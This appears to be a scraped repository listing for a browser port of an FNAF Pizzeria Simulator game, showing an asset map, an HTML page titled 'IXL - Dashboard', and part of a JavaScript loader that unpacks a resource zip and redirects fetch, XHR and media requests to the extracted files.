"ad64f55683c17b3685f41467f94b347c.png": "project/ad64f55683c17b3685f41467f94b347c.png", "4fbcac78ce26836a25fb66f09f6f7bc6.png": "project/4fbcac78ce26836a25fb66f09f6f7bc6.png", "eb733dfe2cd9c1e660a49bfaa2b566ab.png": "project/eb733dfe2cd9c1e660a49bfaa2b566ab.png", "d8d03bfce796f416488d4964d5c57095.png": "project/d8d03bfce796f416488d4964d5c57095.png", "dc6bb263678ef359265717ad8ae4966a.png": "project/dc6bb263678ef359265717ad8ae4966a.png", "358267a359fc29c1fd83d2e9d89eee8e.png": "project/358267a359fc29c1fd83d2e9d89eee8e.png", "e3a32415f477e65259c7983b7fca04bb.wav": "project/e3a32415f477e65259c7983b7fca04bb.wav", "8b9cba802945f93952485c5a0a818608.wav": "project/8b9cba802945f93952485c5a0a818608.wav", "1c1394b39db79446885ec26f83f8421c.png": "project/1c1394b39db79446885ec26f83f8421c.png", "baffa18de0d974b8777749ee66a887e5.png": "project/baffa18de0d974b8777749ee66a887e5.png", "2574dc83ee91480f511a8b3264488fc6.png": "project/2574dc83ee91480f511a8b3264488fc6.png", "9f3b72675db79058e453efcb46282b5b.png": "project/9f3b72675db79058e453efcb46282b5b.png", "362694b2fd5842edae31722a2a50fb6d.png": "project/362694b2fd5842edae31722a2a50fb6d.png", "23199462fb92c2fd5997ddc034ea5e57.png": "project/23199462fb92c2fd5997ddc034ea5e57.png", "c33dd647cea42d6d931dab80c5f174a0.png": "project/c33dd647cea42d6d931dab80c5f174a0.png", "782b65a5c2f806318039463bec6ce861.png": "project/782b65a5c2f806318039463bec6ce861.png", "a4bc2d3515df63393913ee6a818230c2.png": "project/a4bc2d3515df63393913ee6a818230c2.png", "9df100850d159696546dfc2307cf560b.png": "project/9df100850d159696546dfc2307cf560b.png", "349fd6c602fb60414e7eabe7e8df4cb1.png": "project/349fd6c602fb60414e7eabe7e8df4cb1.png", "c0369983aec162b027643f6c7db8b119.png": "project/c0369983aec162b027643f6c7db8b119.png", "e64ed7340f4631efbf8c5515fc1a4919.png": "project/e64ed7340f4631efbf8c5515fc1a4919.png", "30711a5a08bb02eb4a185e8826cfe691.wav": "project/30711a5a08bb02eb4a185e8826cfe691.wav", "f43bf8a3347c88e4e1bbe3df4cad8cd7.png": "project/f43bf8a3347c88e4e1bbe3df4cad8cd7.png", "2fd1186d4868b46efb1e2bac3142d984.wav": "project/2fd1186d4868b46efb1e2bac3142d984.wav", "e6562f300c116cbf24851ee5cac7f364.png": "project/e6562f300c116cbf24851ee5cac7f364.png", "ef3ec2699cb70653e2afe0029995a6c5.png": "project/ef3ec2699cb70653e2afe0029995a6c5.png", "83c0375944a3e3165493558b18055a72.png": "project/83c0375944a3e3165493558b18055a72.png", "979a40f98b98f6424aab4ed24978d56f.png": "project/979a40f98b98f6424aab4ed24978d56f.png", "1d7211577d2900c23cf3b6e0a6894c91.png": "project/1d7211577d2900c23cf3b6e0a6894c91.png", "7d28e83e8127e4d70a695ff7fe8491e7.png": "project/7d28e83e8127e4d70a695ff7fe8491e7.png", "9e66365fcad2494a0b9fadeaa1dc1aa6.png": "project/9e66365fcad2494a0b9fadeaa1dc1aa6.png", "c8c233a10c0159bd184143faf3e7feef.png": "project/c8c233a10c0159bd184143faf3e7feef.png", "00a595f4fb29bafe2ade0cf329ba27dd.png": "project/00a595f4fb29bafe2ade0cf329ba27dd.png", "79d9b70774abbe13bee5ee8ffe1f603a.png": "project/79d9b70774abbe13bee5ee8ffe1f603a.png", "ac3a9b45205756420f8d7037a1a03a02.png": "project/ac3a9b45205756420f8d7037a1a03a02.png", "ad0fb48a1412a6a3c71686aa39badfb3.png": "project/ad0fb48a1412a6a3c71686aa39badfb3.png", "880fe72a7ecabe013f2f7468f343975b.png": "project/880fe72a7ecabe013f2f7468f343975b.png", "c3591a0539df753d1a33b4026da30cc7.png": "project/c3591a0539df753d1a33b4026da30cc7.png", "58eecde331e6bdb41c38e5d9fd69b7a7.png": "project/58eecde331e6bdb41c38e5d9fd69b7a7.png", "6e8134ca905b506a9e387221811d575a.png": "project/6e8134ca905b506a9e387221811d575a.png", "2630f5cb31ea5b74dc73ae77818e5382.png": "project/2630f5cb31ea5b74dc73ae77818e5382.png", "39728383c57e907d826743f68a5233f3.png": "project/39728383c57e907d826743f68a5233f3.png", "1de6beee97984ac3e14e6cdb68912bba.png": "project/1de6beee97984ac3e14e6cdb68912bba.png", "581d40f74eb044b0bc75eae3498d820a.png": "project/581d40f74eb044b0bc75eae3498d820a.png", "c96c7b959e40f29275e6e02854637ac1.png": "project/c96c7b959e40f29275e6e02854637ac1.png", "9c1ae1f3775dfe6d6368ccc3c6f9983d.png": "project/9c1ae1f3775dfe6d6368ccc3c6f9983d.png", "bb677f42f2f7342bd07d475fa646bec2.wav": "project/bb677f42f2f7342bd07d475fa646bec2.wav", "154a852548cf90ecf74056100a07e971.wav": "project/154a852548cf90ecf74056100a07e971.wav", "9e857ebc9a961734de7539f5c82bc25a.png": "project/9e857ebc9a961734de7539f5c82bc25a.png", "372a2beb11caac68ff9c3c5278a7caf5.png": "project/372a2beb11caac68ff9c3c5278a7caf5.png", "d25b62c3de0d58a30e89fc1a123543dd.png": "project/d25b62c3de0d58a30e89fc1a123543dd.png", "f39ae766ea020fb27379d2f088a35744.png": "project/f39ae766ea020fb27379d2f088a35744.png", "571a07e8575c377b564dcbc54dcbeb42.png": "project/571a07e8575c377b564dcbc54dcbeb42.png", "6da319e09fc20797f8ba9745cf990347.png": "project/6da319e09fc20797f8ba9745cf990347.png", "b96999685cfce206f8a9985cfabffd79.png": "project/b96999685cfce206f8a9985cfabffd79.png", "1b1c40e126bce459ee364872fc6bf640.png": "project/1b1c40e126bce459ee364872fc6bf640.png", "42d7f8d557e062aeb83eea44180cf6bb.png": "project/42d7f8d557e062aeb83eea44180cf6bb.png", "5ded43deb3686ee44c517969d60ed4bc.png": "project/5ded43deb3686ee44c517969d60ed4bc.png", "7dda80fd89c5e7f2e20e6e17056bffd9.png": "project/7dda80fd89c5e7f2e20e6e17056bffd9.png", "a33bd40fa0041fbd019140269284ccff.wav": "project/a33bd40fa0041fbd019140269284ccff.wav", "6fe2d98bdc919087c02416fe990b4ee5.png": "project/6fe2d98bdc919087c02416fe990b4ee5.png", "373dd9b42b8e876bf581a4d95d5b7162.png": "project/373dd9b42b8e876bf581a4d95d5b7162.png", "1e8eec3420cdb4f070906a92145effa7.png": "project/1e8eec3420cdb4f070906a92145effa7.png", "9d970930965696b9e92ed880310f78fb.png": "project/9d970930965696b9e92ed880310f78fb.png", "17ca00039b082e60fbfc094a7fc17dcf.png": "project/17ca00039b082e60fbfc094a7fc17dcf.png", "4acdf6027ba6427e5cfbbff8dc1ef28a.png": "project/4acdf6027ba6427e5cfbbff8dc1ef28a.png", "b0cdc09bb4938fc70a9045472f294f58.png": "project/b0cdc09bb4938fc70a9045472f294f58.png", "8185a36e31900adddd9a020f033ef9f8.png": "project/8185a36e31900adddd9a020f033ef9f8.png", "0d71214ccf5509f59fc2acabc215914a.png": "project/0d71214ccf5509f59fc2acabc215914a.png", "319f994c9ee303a556ff7491c68995e6.png": "project/319f994c9ee303a556ff7491c68995e6.png", "17aee777b15f4d014b98be9b6ab1ad74.png": "project/17aee777b15f4d014b98be9b6ab1ad74.png", "42a5021e51247befa4b7bb5b45f68e29.png": "project/42a5021e51247befa4b7bb5b45f68e29.png", "0765f6b7593dbeeed7e7dabe94133749.wav": "project/0765f6b7593dbeeed7e7dabe94133749.wav", "4bfa0d9fc3309340050bbafb599c0e2b.png": "project/4bfa0d9fc3309340050bbafb599c0e2b.png", "599d5edddb9ab06dcb7cbd9ea0aecd29.png": "project/599d5edddb9ab06dcb7cbd9ea0aecd29.png", "190702ecab5231bcff2b189affe836b1.png": "project/190702ecab5231bcff2b189affe836b1.png", "40d942e2b231acae513a376d23e2f778.png": "project/40d942e2b231acae513a376d23e2f778.png", "303c7eaa7554e46a88353d14bd9fdb31.png": "project/303c7eaa7554e46a88353d14bd9fdb31.png", "34e71a2cc18b2264bad75f7aadd91461.png": "project/34e71a2cc18b2264bad75f7aadd91461.png", "3ee7a59afc02e5f09c5e51facb2c8f11.png": "project/3ee7a59afc02e5f09c5e51facb2c8f11.png", "5540744a8f0ff0774e2d66a609f969c3.png": "project/5540744a8f0ff0774e2d66a609f969c3.png", "ae787421b301a0c624ac4d0fbf7d306d.png": "project/ae787421b301a0c624ac4d0fbf7d306d.png", "cb4649b3aaa229a46ac05b85f0c572f3.png": "project/cb4649b3aaa229a46ac05b85f0c572f3.png", "0a40cf77d46a19a9a3101765ef60f0fd.png": "project/0a40cf77d46a19a9a3101765ef60f0fd.png", "13cb0cfff130869c766ac8f12f98f1e3.png": "project/13cb0cfff130869c766ac8f12f98f1e3.png", "d06e5d3e50cbc9f86d60ab2c7be7a2e4.png": "project/d06e5d3e50cbc9f86d60ab2c7be7a2e4.png", "a6b0243712e7f16f9da6b41fbcbf86a2.png": "project/a6b0243712e7f16f9da6b41fbcbf86a2.png", "8136570c409c7b3926795f478b59176c.png": "project/8136570c409c7b3926795f478b59176c.png", "8bf7a1beff3afa32da881f7eed2c4587.png": "project/8bf7a1beff3afa32da881f7eed2c4587.png", "c5de63a9f3cecdccadff29dbcb08fc9e.png": "project/c5de63a9f3cecdccadff29dbcb08fc9e.png", "143ea6b692e1fe1593c430b729044cbf.png": "project/143ea6b692e1fe1593c430b729044cbf.png", "acc70f6f8c32194adfae2f7d1f7e947e.png": "project/acc70f6f8c32194adfae2f7d1f7e947e.png", "063faa7055f44cd4d25b35b66aeeaf38.png": "project/063faa7055f44cd4d25b35b66aeeaf38.png", "832b459c00e029ae308e93d881887ddf.png": "project/832b459c00e029ae308e93d881887ddf.png", "8d9207c1e87cbf09cb8b3ddeb4f6be3a.png": "project/8d9207c1e87cbf09cb8b3ddeb4f6be3a.png", "b52c18553f21c8dfcb4e835d14c36130.png": "project/b52c18553f21c8dfcb4e835d14c36130.png", "5eebf857d1291414e65a108dce4677a8.png": "project/5eebf857d1291414e65a108dce4677a8.png", "031c0c7d7cdf41f6462c909995d60b48.png": "project/031c0c7d7cdf41f6462c909995d60b48.png", "9e2513418b530f16c719a088a0100861.png": "project/9e2513418b530f16c719a088a0100861.png", "fc691b24049a1708db71b924fd9f3d1d.png": "project/fc691b24049a1708db71b924fd9f3d1d.png", "af098599735782694973c469e46e4f89.png": "project/af098599735782694973c469e46e4f89.png", "c80fd525399747a421c5fde19c8b7f3e.wav": "project/c80fd525399747a421c5fde19c8b7f3e.wav", "db25ed88fbd0a5fa568654ea68139e4c.wav": "project/db25ed88fbd0a5fa568654ea68139e4c.wav", "94f44d719d2bdf7d872241ad79f17cba.png": "project/94f44d719d2bdf7d872241ad79f17cba.png", "9f8eaa94b5ff7b02583dd9758c7ae7a1.png": "project/9f8eaa94b5ff7b02583dd9758c7ae7a1.png", "e561f0ffd41278842a6134879a374174.png": "project/e561f0ffd41278842a6134879a374174.png", "8250e18cbeaef18d584a40030632405c.png": "project/8250e18cbeaef18d584a40030632405c.png", "b7568b1944809da9a70a327ec1b71562.png": "project/b7568b1944809da9a70a327ec1b71562.png", "50dea936a4c949dca047393778d53808.png": "project/50dea936a4c949dca047393778d53808.png", "77b2111dae24959c4284eb6bfe380003.png": "project/77b2111dae24959c4284eb6bfe380003.png", "93228c3731cddb677d39b2618144fc15.png": "project/93228c3731cddb677d39b2618144fc15.png", "5a9786e64ffa964a6321f47cd354cc4e.png": "project/5a9786e64ffa964a6321f47cd354cc4e.png", "de42c654b095a90870d158530a2197db.wav": "project/de42c654b095a90870d158530a2197db.wav", "352efce4cf977c9a02b669bccae25322.wav": "project/352efce4cf977c9a02b669bccae25322.wav", "7d04cb692095d7e42e62a83270d20800.wav": "project/7d04cb692095d7e42e62a83270d20800.wav", "315d323b5da4caca348476b256133dff.png": "project/315d323b5da4caca348476b256133dff.png", "e36e862fc8b475cf34ce1f15bffdb29e.png": "project/e36e862fc8b475cf34ce1f15bffdb29e.png", "dc732c3e02219f67e9c27bdf93578adc.png": "project/dc732c3e02219f67e9c27bdf93578adc.png", "0a148cd4f7a9cf1f9a0f73c7f952b939.png": "project/0a148cd4f7a9cf1f9a0f73c7f952b939.png", "6539924dd7ee82283fe1fc0498ec4c36.png": "project/6539924dd7ee82283fe1fc0498ec4c36.png", "1b261555937b6d5cecb30160d3d3c7d5.png": "project/1b261555937b6d5cecb30160d3d3c7d5.png", "4606730833fe7f40fe025fcd5f5dd364.png": "project/4606730833fe7f40fe025fcd5f5dd364.png", "cf8386224834dcc9fb43f74eb3a16ac3.png": "project/cf8386224834dcc9fb43f74eb3a16ac3.png", "24d0ca165b1a5b9d91464f5473afc299.png": "project/24d0ca165b1a5b9d91464f5473afc299.png", "105ab8c2a061a400e659cd5dc100cbb3.png": "project/105ab8c2a061a400e659cd5dc100cbb3.png", "cc5d01e22abc740b470e2783c5bdbaf2.png": "project/cc5d01e22abc740b470e2783c5bdbaf2.png", "f32c8bbecd02aa5a6a2648c7d6a96cd9.png": "project/f32c8bbecd02aa5a6a2648c7d6a96cd9.png", "b4c309ef974e6fedc30d2995c90c0607.png": "project/b4c309ef974e6fedc30d2995c90c0607.png", "6ecf1ceac816b569025ee4d006f0cea8.png": "project/6ecf1ceac816b569025ee4d006f0cea8.png", "4ba394af1d93d9749f13f26bb75db6b6.png": "project/4ba394af1d93d9749f13f26bb75db6b6.png", "81e86dfc856e05c7a5a7039edbb844dc.png": "project/81e86dfc856e05c7a5a7039edbb844dc.png", "844c8d816f40fa244f1fe207fa9e4275.png": "project/844c8d816f40fa244f1fe207fa9e4275.png", "4bc59f078258a640ecaf1e65af49d2b0.png": "project/4bc59f078258a640ecaf1e65af49d2b0.png", "f8ed8759e4fd58eb711b3a8ce9a00e30.png": "project/f8ed8759e4fd58eb711b3a8ce9a00e30.png", "412ab76323b8b71c389ab1dcd7650498.png": "project/412ab76323b8b71c389ab1dcd7650498.png", "9414271db5fa5578abc64ab48cbe39a4.png": "project/9414271db5fa5578abc64ab48cbe39a4.png", "03b5ade05afd627076b4642f6eca7276.png": "project/03b5ade05afd627076b4642f6eca7276.png", "d66a939def2f80ca9ba0081998eb3521.png": "project/d66a939def2f80ca9ba0081998eb3521.png", "4e839140c2163df562519d1227a62ff9.png": "project/4e839140c2163df562519d1227a62ff9.png", "4dd79bc0352fab909d390c758b956b34.png": "project/4dd79bc0352fab909d390c758b956b34.png", "fc22e366d918e4924b1af773cf743f22.png": "project/fc22e366d918e4924b1af773cf743f22.png", "b496467396c379243ad4d7e13298a52c.png": "project/b496467396c379243ad4d7e13298a52c.png", "3d42cdfb2405cb3123ae5af23d664930.png": "project/3d42cdfb2405cb3123ae5af23d664930.png", "3337d784413ea15451464cbba190b8e9.png": "project/3337d784413ea15451464cbba190b8e9.png", "a01e084e50db54f4a75d801301c20add.png": "project/a01e084e50db54f4a75d801301c20add.png", "f70a6ece148273330ef6c26f4c782a7a.png": "project/f70a6ece148273330ef6c26f4c782a7a.png", "2ca1904dc365361be0f9f57863d1eadd.png": "project/2ca1904dc365361be0f9f57863d1eadd.png", "a49ae9e6d2994a6f93e9eac403681879.png": "project/a49ae9e6d2994a6f93e9eac403681879.png", "2dd258284a5ea205d9f080a93df97a9f.png": "project/2dd258284a5ea205d9f080a93df97a9f.png", "18ff0816891d086b65d4ba55dcfd97bb.png": "project/18ff0816891d086b65d4ba55dcfd97bb.png", "7ff9b3e2e4f09d9af3e3ab3343f353a6.png": "project/7ff9b3e2e4f09d9af3e3ab3343f353a6.png", "26f92025cc753f69bf55b597d86ec3fe.png": "project/26f92025cc753f69bf55b597d86ec3fe.png", "b774165a19bf06bb7564ae1e63ac9a1b.png": "project/b774165a19bf06bb7564ae1e63ac9a1b.png", "a92087c94055f19fe1c77eeec25fd754.png": "project/a92087c94055f19fe1c77eeec25fd754.png", "d8435eb7f66276a576918b1788107ddf.png": "project/d8435eb7f66276a576918b1788107ddf.png", "95d8c3b6f4670271bae80607daf615e9.png": "project/95d8c3b6f4670271bae80607daf615e9.png", "0c728e84d1ef76b8dc63c53756c78516.png": "project/0c728e84d1ef76b8dc63c53756c78516.png", "533d376ed7b60578156a608e8d0264a3.png": "project/533d376ed7b60578156a608e8d0264a3.png", "07c7af5fc113b6758d445bf77a3a120d.png": "project/07c7af5fc113b6758d445bf77a3a120d.png", "ec54352c9a90d7b8b33c105f6fb61851.png": "project/ec54352c9a90d7b8b33c105f6fb61851.png", "d82433750474425262b481e3f7009f85.png": "project/d82433750474425262b481e3f7009f85.png", "d1b2e4269253c7f86e244a428829c0c3.png": "project/d1b2e4269253c7f86e244a428829c0c3.png", "efadd865b47a07dca40693171ef08c96.png": "project/efadd865b47a07dca40693171ef08c96.png", "e75d6af3ba894f007b3d336e7f5eebfa.png": "project/e75d6af3ba894f007b3d336e7f5eebfa.png", "878f930fb8cb333fbfc5c72010c70c27.png": "project/878f930fb8cb333fbfc5c72010c70c27.png", "a2cd3ab87b35b2a2f44277f14763335c.png": "project/a2cd3ab87b35b2a2f44277f14763335c.png", "f510632961333b92aa92c0b11815cd8d.png": "project/f510632961333b92aa92c0b11815cd8d.png", "17921501f870d616944e555fdb057e4b.png": "project/17921501f870d616944e555fdb057e4b.png", "1a27167dcf2067332b062e9f5b436f87.png": "project/1a27167dcf2067332b062e9f5b436f87.png", "4c813cfd061f8b081de175301a19348c.png": "project/4c813cfd061f8b081de175301a19348c.png", "a1bfcf072976be14a88eef57bc4c26d8.png": "project/a1bfcf072976be14a88eef57bc4c26d8.png", "92a6d7b334b98a499842cb452b69ef33.png": "project/92a6d7b334b98a499842cb452b69ef33.png", "026a9644a3e011fa1d2e29ef7f44348d.png": "project/026a9644a3e011fa1d2e29ef7f44348d.png", "7c3e376c6fed1aa73be728702189df27.png": "project/7c3e376c6fed1aa73be728702189df27.png", "11938493add6d0565ce3128ee4ac78b2.png": "project/11938493add6d0565ce3128ee4ac78b2.png", "d601562a819a1087225d2a232f76be27.png": "project/d601562a819a1087225d2a232f76be27.png", "0adbaf5b04421d00f5766a592e8681df.png": "project/0adbaf5b04421d00f5766a592e8681df.png", "9f71e210a017a99c2ff21fe1f5e41c9d.wav": "project/9f71e210a017a99c2ff21fe1f5e41c9d.wav", "e0958c8976b54adef49b93e3a67eeb95.png": "project/e0958c8976b54adef49b93e3a67eeb95.png", "5f7d2fa3096f94080bd6c2dc74e5ba95.png": "project/5f7d2fa3096f94080bd6c2dc74e5ba95.png", "3a578ce55272754f270f0be23654ad60.png": "project/3a578ce55272754f270f0be23654ad60.png", "a957a9339cdc39966e6fa9ada0070ffa.png": "project/a957a9339cdc39966e6fa9ada0070ffa.png", "90b2f5a7f6b90c658379c15f47e48a07.png": "project/90b2f5a7f6b90c658379c15f47e48a07.png", "9e0deb6bdfe11706ead71dd482c057c0.png": "project/9e0deb6bdfe11706ead71dd482c057c0.png", "0b3bb93b2a6934e6eedd014d6ab60ed2.png": "project/0b3bb93b2a6934e6eedd014d6ab60ed2.png", "901d6473dc1efe9dc0705fd675728695.png": "project/901d6473dc1efe9dc0705fd675728695.png", "9f9563b5a141df63654a4e9821eb9e06.png": "project/9f9563b5a141df63654a4e9821eb9e06.png", "113e2af6317ae1e13f6076d4eecb0b13.png": "project/113e2af6317ae1e13f6076d4eecb0b13.png", "e37d7933623f64c1f531849d7dd5c0f4.png": "project/e37d7933623f64c1f531849d7dd5c0f4.png", "afc68ed6e22f60ece5f1b30da21d2e80.png": "project/afc68ed6e22f60ece5f1b30da21d2e80.png", "b85bfccbccb1706ad0f465c7c48200c5.png": "project/b85bfccbccb1706ad0f465c7c48200c5.png", "9c7762a46c582b646bb0dfe08341b94f.png": "project/9c7762a46c582b646bb0dfe08341b94f.png", "39e5f20171572d19b59a68e0950b87fa.wav": "project/39e5f20171572d19b59a68e0950b87fa.wav", "cde79bf399e3470b01219118299dc0b5.png": "project/cde79bf399e3470b01219118299dc0b5.png", "9f8f2479fcd7eba53fcf050cc69641dd.png": "project/9f8f2479fcd7eba53fcf050cc69641dd.png", "d350e0154f73b48230b798c84bcb7c3f.png": "project/d350e0154f73b48230b798c84bcb7c3f.png", "0aa9becb14d2b0c8305b45d29efe0329.png": "project/0aa9becb14d2b0c8305b45d29efe0329.png", "da197f60da4c280d19bff505ab8eb064.png": "project/da197f60da4c280d19bff505ab8eb064.png", "4320b8aaa84c6600849540522787b98f.png": "project/4320b8aaa84c6600849540522787b98f.png", "6e53ca9321f507aef9a171bd9ee7f624.png": "project/6e53ca9321f507aef9a171bd9ee7f624.png", "d282aaeb312477fd4369916f4a002007.png": "project/d282aaeb312477fd4369916f4a002007.png", "7196c90c48561f0aea99c29efbaf4947.png": "project/7196c90c48561f0aea99c29efbaf4947.png", "7d7c5e8f39d03554a1531053753e8d46.png": "project/7d7c5e8f39d03554a1531053753e8d46.png", "c3ceef3de55e2940df397d70d75c231a.png": "project/c3ceef3de55e2940df397d70d75c231a.png", "335a73dd3a07f05ab0e5d39ad15ea012.png": "project/335a73dd3a07f05ab0e5d39ad15ea012.png", "8851239abc31b9db5aa8f630dc58dff2.png": "project/8851239abc31b9db5aa8f630dc58dff2.png", "a0821a18deefddbd57cdc0605fef3959.png": "project/a0821a18deefddbd57cdc0605fef3959.png", "4fbe2120620f839ce839ed2c95de6e39.png": "project/4fbe2120620f839ce839ed2c95de6e39.png", "b582146844655ae0e4886a5ba75e30d6.png": "project/b582146844655ae0e4886a5ba75e30d6.png", "7f4c657517db5d1256060bf0307c228a.png": "project/7f4c657517db5d1256060bf0307c228a.png", "10bdc3dcde017d4b4ed47385adda2ed6.png": "project/10bdc3dcde017d4b4ed47385adda2ed6.png", "89ed2237458da3bd7b3988d2474e75bf.png": "project/89ed2237458da3bd7b3988d2474e75bf.png", "d28cc4062131646a9ce618289b1225e1.png": "project/d28cc4062131646a9ce618289b1225e1.png", "52ba6f2b98612f346b8351993c22758d.png": "project/52ba6f2b98612f346b8351993c22758d.png", "121e6fa742a1b5343ebf0085226df48c.png": "project/121e6fa742a1b5343ebf0085226df48c.png", "fa0743b75cb91401fadc3d4ebdad5e27.png": "project/fa0743b75cb91401fadc3d4ebdad5e27.png", "4f930fe509a736d3da4ceb29bcfd6993.png": "project/4f930fe509a736d3da4ceb29bcfd6993.png", "b6159d176ac5cabfebdcaf0ab1d4eb94.png": "project/b6159d176ac5cabfebdcaf0ab1d4eb94.png", "1d52696544c86fe91b2af242a000bae3.png": "project/1d52696544c86fe91b2af242a000bae3.png", "cc4b13c4daecefb90b93d621fb144ab4.png": "project/cc4b13c4daecefb90b93d621fb144ab4.png", "5cbd9672718ba97fb412d5e181870e02.png": "project/5cbd9672718ba97fb412d5e181870e02.png", "cd07aa98283c945dcbfbbf772e9d5a6f.png": "project/cd07aa98283c945dcbfbbf772e9d5a6f.png", "0f8412fb0900c8e119ceb85eec89942b.png": "project/0f8412fb0900c8e119ceb85eec89942b.png", "ac6a8d7001d1b999c8dbb58a7a097390.png": "project/ac6a8d7001d1b999c8dbb58a7a097390.png", "86127e4c86c357fe7943e96ce1aa72c6.png": "project/86127e4c86c357fe7943e96ce1aa72c6.png", "2e6948f540d6509d5867d0d5a5323a2e.png": "project/2e6948f540d6509d5867d0d5a5323a2e.png", "d8ea9c27c40bd571da34ae2900f457d3.png": "project/d8ea9c27c40bd571da34ae2900f457d3.png", "e2db3f3eec143584e27d75e09a64234a.png": "project/e2db3f3eec143584e27d75e09a64234a.png", "b80b96dcf1db4b03a574b94b76bf8dc6.png": "project/b80b96dcf1db4b03a574b94b76bf8dc6.png", "0c538c5dba4f2f24f1a655b011779b11.png": "project/0c538c5dba4f2f24f1a655b011779b11.png", "03a3f326110305dbac2c08c72a669ecb.png": "project/03a3f326110305dbac2c08c72a669ecb.png", "670a8870d604e84791e89b7322f744af.png": "project/670a8870d604e84791e89b7322f744af.png", "76326b643fa8b1c7f6023cf398bd4000.png": "project/76326b643fa8b1c7f6023cf398bd4000.png", "8259e0f88653196d89a79f4c484fa12a.png": "project/8259e0f88653196d89a79f4c484fa12a.png", "fbad420dbf5924a1d310f13bc6ffe170.png": "project/fbad420dbf5924a1d310f13bc6ffe170.png", "bb7f8d415486e021009d39e46743d97f.png": "project/bb7f8d415486e021009d39e46743d97f.png", "5559392755e46ef42ecc23450a2732da.png": "project/5559392755e46ef42ecc23450a2732da.png", "16ccd1b0f0226c2613accdb23e52af78.png": "project/16ccd1b0f0226c2613accdb23e52af78.png", "b01d252d219416983a18436cd560c301.png": "project/b01d252d219416983a18436cd560c301.png", "79d758cbd9d7cfd505c51491500c1588.png": "project/79d758cbd9d7cfd505c51491500c1588.png", "32392558e008b1769cb5db32c45b41d6.png": "project/32392558e008b1769cb5db32c45b41d6.png", "5004b7f621db8251d533bebeb7386e2d.png": "project/5004b7f621db8251d533bebeb7386e2d.png", "e866afee352cc2c0b697f2253ea4eb98.wav": "project/e866afee352cc2c0b697f2253ea4eb98.wav", "af4321a502f12330ac0e6f653585a71a.wav": "project/af4321a502f12330ac0e6f653585a71a.wav", "6f9c92da5440cca70913f5e814b5a2ed.png": "project/6f9c92da5440cca70913f5e814b5a2ed.png", "4721fc963a8fe06aa3aad78c068d2f16.png": "project/4721fc963a8fe06aa3aad78c068d2f16.png", "1270ef28f9cbbf8185e0a2c13363e637.png": "project/1270ef28f9cbbf8185e0a2c13363e637.png", "1a2d03068834bc963911c7b600fb1d4b.png": "project/1a2d03068834bc963911c7b600fb1d4b.png", "9e02844795a820f0c8aa950eb8905d6e.png": "project/9e02844795a820f0c8aa950eb8905d6e.png", "fcb0c8f48f91c91c96e85598c7eb2562.wav": "project/fcb0c8f48f91c91c96e85598c7eb2562.wav", "35ead26b56626491bc4e91d5091a4d2d.wav": "project/35ead26b56626491bc4e91d5091a4d2d.wav", "794ef8a8a49c208f66de415da4c173d6.svg": "project/794ef8a8a49c208f66de415da4c173d6.svg", "753ace46421955e5281adc7735bca1c0.svg": "project/753ace46421955e5281adc7735bca1c0.svg" }}init(initOptions)</script> </body></html>1# FNAF_Pizzeria_Simulator_ONLINE12345678910111213141516171819202122232425262728293031323334353637<!DOCTYPE html><html lang="en">
<head> <link rel="stylesheet" type="text/css" href="style.css"/> <link rel="icon" type="image/x-icon" href="favicon.ico" /> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta name="viewport" content="initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no, target-densitydpi=device-dpi" /> <meta name="apple-mobile-web-app-capable" content="yes" /> <meta name="apple-mobile-web-app-status-bar-style" content="black" /> <meta name="HandheldFriendly" content="true" /> <title>IXL - Dashboard</title></head>
<body>
<script src="/assets/js/notifications.js"></script><script src="/assets/js/game-save-sync.js"></script>
<div style="display: inline-block; -webkit-user-select: none; text-align: left"> <canvas id="MMFCanvas" width="1280" height="720"> Your browser does not support Canvas, Please try again. </canvas> </div> <div id="progress-container"> <div style="margin-bottom: 6px;">Downloading... <span id="download-text">0%</span></div> <div style="width: 100%; background: #444; border-radius: 6px; overflow: hidden;"> <div id="download-bar" style="height: 10px; background: #3b82f6; width: 0%; transition: width 0.2s;"></div> </div> <div style="margin: 12px 0 6px;">Extracting... <span id="extract-text">0%</span></div> <div style="width: 100%; background: #444; border-radius: 6px; overflow: hidden;"> <div id="extract-bar" style="height: 10px; background: #10b981; width: 0%; transition: width 0.2s;"></div> </div> </div> <script src="https://cdnjs.cloudflare.com/ajax/libs/jszip/3.10.1/jszip.min.js"></script> <script src="main.js"></script></body>
</html>123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157const runtimecanvas = "resources/Fnafps.cch";const parts = 19;
// -----------------const map = new Map();
function updateProgress(id, percent) { document.getElementById(id + '-bar').style.width = percent + '%'; document.getElementById(id + '-text').innerText = percent + '%';}
async function intercept() { const ogfetch = window.fetch; window.fetch = async function (input, init) { if (typeof input === 'string' && input.startsWith('resources/')) { const fileName = input.split('/').pop(); if (map.has(fileName)) { return ogfetch(map.get(fileName), init); } } return ogfetch(input, init); };
const ogopen = XMLHttpRequest.prototype.open; XMLHttpRequest.prototype.open = function (method, url) { if (url.startsWith('resources/')) { const fileName = url.split('/').pop(); if (map.has(fileName)) { url = map.get(fileName); } } return ogopen.apply(this, arguments); };
const types = [HTMLImageElement, HTMLAudioElement, HTMLVideoElement]; for (const Tag of types) { const descriptor = Object.getOwnPropertyDescriptor(Tag.prototype, 'src'); if (descriptor && descriptor.set) { Object.defineProperty(Tag.prototype, 'src', { configurable: true, enumerable: true, get: descriptor.get, set: function (val) { if (typeof val === 'string' && val.startsWith('resources/')) { const fileName = val.split('/').pop(); if (map.has(fileName)) { val = map.get(fileName); } } descriptor.set.call(this, val); } }); } }}
async function extract() { const res = await fetch("resources.zip");
const contentLength = res.headers.get("Content-Length"); const total = parseInt(contentLength, 10); const reader = res.body.getReader(); let loaded = 0; const chunks = [];
while (true) { const { done, value } = await reader.read(); if (done) break; chunks.push(value); loaded += value.length; updateProgress('download', Math.floor((loaded / total) * 100)); }
const arrayBuffer = await new Blob(chunks).arrayBuffer(); const zip = await JSZip.loadAsync(arrayBuffer); const files = Object.keys(zip.files).filter(name => !zip.files[name].dir); const totalFiles = files.length;
